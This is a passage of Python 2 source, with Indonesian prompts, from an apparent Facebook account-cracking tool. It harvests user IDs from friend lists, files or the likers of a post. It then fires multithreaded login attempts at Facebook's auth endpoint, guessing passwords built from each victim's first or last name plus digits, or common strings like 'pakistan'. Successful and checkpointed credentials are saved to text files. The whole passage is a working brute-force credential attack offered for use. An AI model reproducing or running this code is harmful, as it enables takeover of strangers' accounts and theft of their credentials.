\033[1;91m:\033[1;92m "+op["name"] except KeyError: print"\033[1;97m{\033[1;91m!\033[1;97m} ID publik/teman tidak ada !" raw_input("\n\033[1;91m[\033[1;97m<Kembali>\033[1;91m]") crack_pakis() except requests.exceptions.ConnectionError: print"\033[1;97m{\033[1;91m!\033[1;97m} Tidak ada koneksi !" keluar() r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif teak =="3" or teak =="03": os.system('clear') print logo try: print 50* "\033[1;94m─" print (" \033[1;91m●●● \033[1;97mCRACK PAKISTAN \033[1;91m●●●") print 50* "\033[1;94m─" idlist = raw_input('\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mNama File\033[1;91m :\033[1;92m ') for line in open(idlist,'r').readlines(): id.append(line.strip()) except KeyError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada ! ' raw_input('\n\033[1;92m[ \033[1;97mKembali \033[1;92m]') except IOError: print '\033[1;97m{\033[1;91m!\033[1;97m} File tidak ada !' raw_input("\n\033[1;91m[\033[1;97m<Kembali>\033[1;91m]") crack_pakis() elif teak =="0" or teak =="00": menu() else: print"\033[1;97m{\033[1;91m!\033[1;97m}\033[1;97m Isi Yg Benar !" pilih_pakis() print "\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mTotal ID \033[1;91m:\033[1;92m "+str(len(id)) print('\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mStop Tekan CTRL+Z') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mCrack Berjalan "+o),;sys.stdout.flush();time.sleep(1) print("\n\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mGunakan Mode Pesawat Jika Tidak Ada Hasil") print ("\033[1;94m──────────────────────────────────────────────────") ##### MAIN PAKISTAN ##### def main(arg): sys.stdout.write("\r{}".format(datetime.now().strftime("\033[1;96m%H\033[1;91m:\033[1;93m%M\033[1;91m:\033[1;92m%S")));sys.stdout.flush() global cekpoint,oks zowe = arg try: os.mkdir('done') except OSError: pass try: an = requests.get('https://graph.facebook.com/'+zowe+'/?access_token='+toket) j = json.loads(an.text) bos1 = j['first_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos1 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} \x1b[1;91mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos1 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") cek.close() cekpoint.append(zowe) else: bos2 = j['first_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos2 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} \x1b[1;91mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos2 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") cek.close() cekpoint.append(zowe) else: bos3 = j['first_name'].lower()+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos3 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} \x1b[1;91mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos3 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") cek.close() cekpoint.append(zowe) else: bos4 = ('pakistan') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos4 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;93m×\x1b[1;97m} \x1b[1;91mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos4 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") cek.close() cekpoint.append(zowe) else: bos5 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos5 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} \x1b[1;91mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos5 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") cek.close() cekpoint.append(zowe) else: bos6 = j['last_name'].lower()+'786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos6 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} \x1b[1;91mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos6 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") cek.close() cekpoint.append(zowe) else: bos7 = j['last_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos7)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos7 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos7+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} \x1b[1;91mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos7 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos7+"\n") cek.close() cekpoint.append(zowe) else: bos8 = j['last_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos8)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos8 oke = open("done/pakis.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos8+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} \x1b[1;93mCEKPOINT") print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;91m") + j['name'] print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;91m") + zowe print ("\x1b[1;97m{\x1b[1;91m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;91m") + bos8 cek = open("done/pakis.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos8+"\n") cek.close() cekpoint.append(zowe) except: pass p = ThreadPool(30) p.map(main, id) print "\n\033[1;94m──────────────────────────────────────────────────" print '\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mSelesai ...' print"\033[1;97m{\033[1;91m●\033[1;97m} \033[1;91mTotal \033[1;92mOK\033[1;97m/\x1b[1;91mCP \033[1;97m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;91m"+str(len(cekpoint)) print '\033[1;97m{\033[1;91m●\033[1;97m} \033[1;92mOK\033[1;97m/\x1b[1;91mCP \033[1;91mfile tersimpan \033[1;91m: \033[1;92mdone/pakis.txt' print 50* "\033[1;94m─" raw_input("\033[1;97m{<\033[1;91mKembali\033[1;97m>}") os.system("python2 crot.py") ##### CRACK LIKES ##### def crack_likes(): os.system('clear') try: toket=open('login.txt','r').read() except IOError: print"\033[1;97m[!] Token invalid" os.system('rm -rf login.txt') time.sleep(0.01) login() try: os.system('clear') print logo print 50* "\033[1;94m─" print (" \033[1;96m●●● \033[1;97mCRACK POSTINGAN GRUP/TEMAN\033[1;96m ●●●") print 50* "\033[1;94m─" tez = raw_input("\033[1;97m{\033[1;96m●\033[1;97m}\033[1;96m ID Postingan Group/Teman \033[1;91m :\033[1;92m ") r = requests.get("https://graph.facebook.com/"+tez+"/likes?limit=9999999&access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) jalan('\r\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mMengambil ID \033[1;97m...') except KeyError: print"\033[1;97m{\033[1;91m!\033[1;97m} ID Postingan Salah !" raw_input("\n\033[1;96m[<\033[1;97mKembali>\033[1;96m]") menu() print "\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mTotal ID \033[1;91m:\033[1;92m "+str(len(id)) print('\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mStop Tekan CTRL+Z') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mCrack Berjalan "+o),;sys.stdout.flush();time.sleep(1) print("\n\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mGunakan Mode Pesawat Jika Tidak Ada Hasil") print ("\033[1;94m──────────────────────────────────────────────────") ##### MAIN LIKES ##### def main(arg): sys.stdout.write("\r{}".format(datetime.now().strftime("\033[1;96m%H\033[1;91m:\033[1;93m%M\033[1;91m:\033[1;92m%S")));sys.stdout.flush() global cekpoint,oks zowe = arg try: os.mkdir('done') except OSError: pass try: an = requests.get('https://graph.facebook.com/'+zowe+'/?access_token='+toket) j = json.loads(an.text) bos1 = j['first_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos1 oke = open("done/grup.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos1 cek = open("done/grup.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos1+"\n") cek.close() cekpoint.append(zowe) else: bos2 = j['first_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos2)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos2 oke = open("done/grup.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos2 cek = open("done/grup.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos2+"\n") cek.close() cekpoint.append(zowe) else: bos3 = j['first_name'].lower()+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos3)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos3 oke = open("done/grup.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos3 cek = open("done/grup.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos3+"\n") cek.close() cekpoint.append(zowe) else: bos4 = j['last_name'].lower()+'123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos4)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos4 oke = open("done/grup.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos4 cek = open("done/grup.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos4+"\n") cek.close() cekpoint.append(zowe) else: bos5 = j['last_name'].lower()+'1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos5)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos5 oke = open("done/grup.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos5 cek = open("done/grup.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos5+"\n") cek.close() cekpoint.append(zowe) else: bos6 = j['last_name'].lower()+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(zowe)+"&locale=en_US&password="+(bos6)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") ko = json.load(data) if 'access_token' in ko: print ("\n\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} \x1b[1;92mBERHASIL") print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;92m") + j['name'] print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;92m") + zowe print ("\x1b[1;97m{\x1b[1;92m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;92m") + bos6 oke = open("done/grup.txt", "a") oke.write("\n{×} BERHASIL \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") oke.close() oks.append(zowe) else: if 'www.facebook.com' in ko['error_msg']: print ("\n\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} \x1b[1;96mCEKPOINT") print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Nama \x1b[1;91m > \x1b[1;96m") + j['name'] print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} User \x1b[1;91m > \x1b[1;96m") + zowe print ("\x1b[1;97m{\x1b[1;96m×\x1b[1;97m} Password \x1b[1;91m> \x1b[1;96m") + bos6 cek = open("done/grup.txt", "a") cek.write("\n{×} CEKPOINT \n{×} Nama > " +j['name']+ "\n{×} User > " +zowe+ "\n{×} Password > " +bos6+"\n") cek.close() cekpoint.append(zowe) except: pass p = ThreadPool(30) p.map(main, id) print "\n\033[1;94m──────────────────────────────────────────────────" print '\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mSelesai ...' print"\033[1;97m{\033[1;96m●\033[1;97m} \033[1;96mTotal \033[1;92mOK\033[1;97m/\x1b[1;96mCP \033[1;97m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;96m"+str(len(cekpoint)) print '\033[1;97m{\033[1;96m●\033[1;97m} \033[1;92mOK\033[1;97m/\x1b[1;96mCP \033[1;96mfile tersimpan \033[1;91m: \033[1;92mdone/grup.txt' print 50* 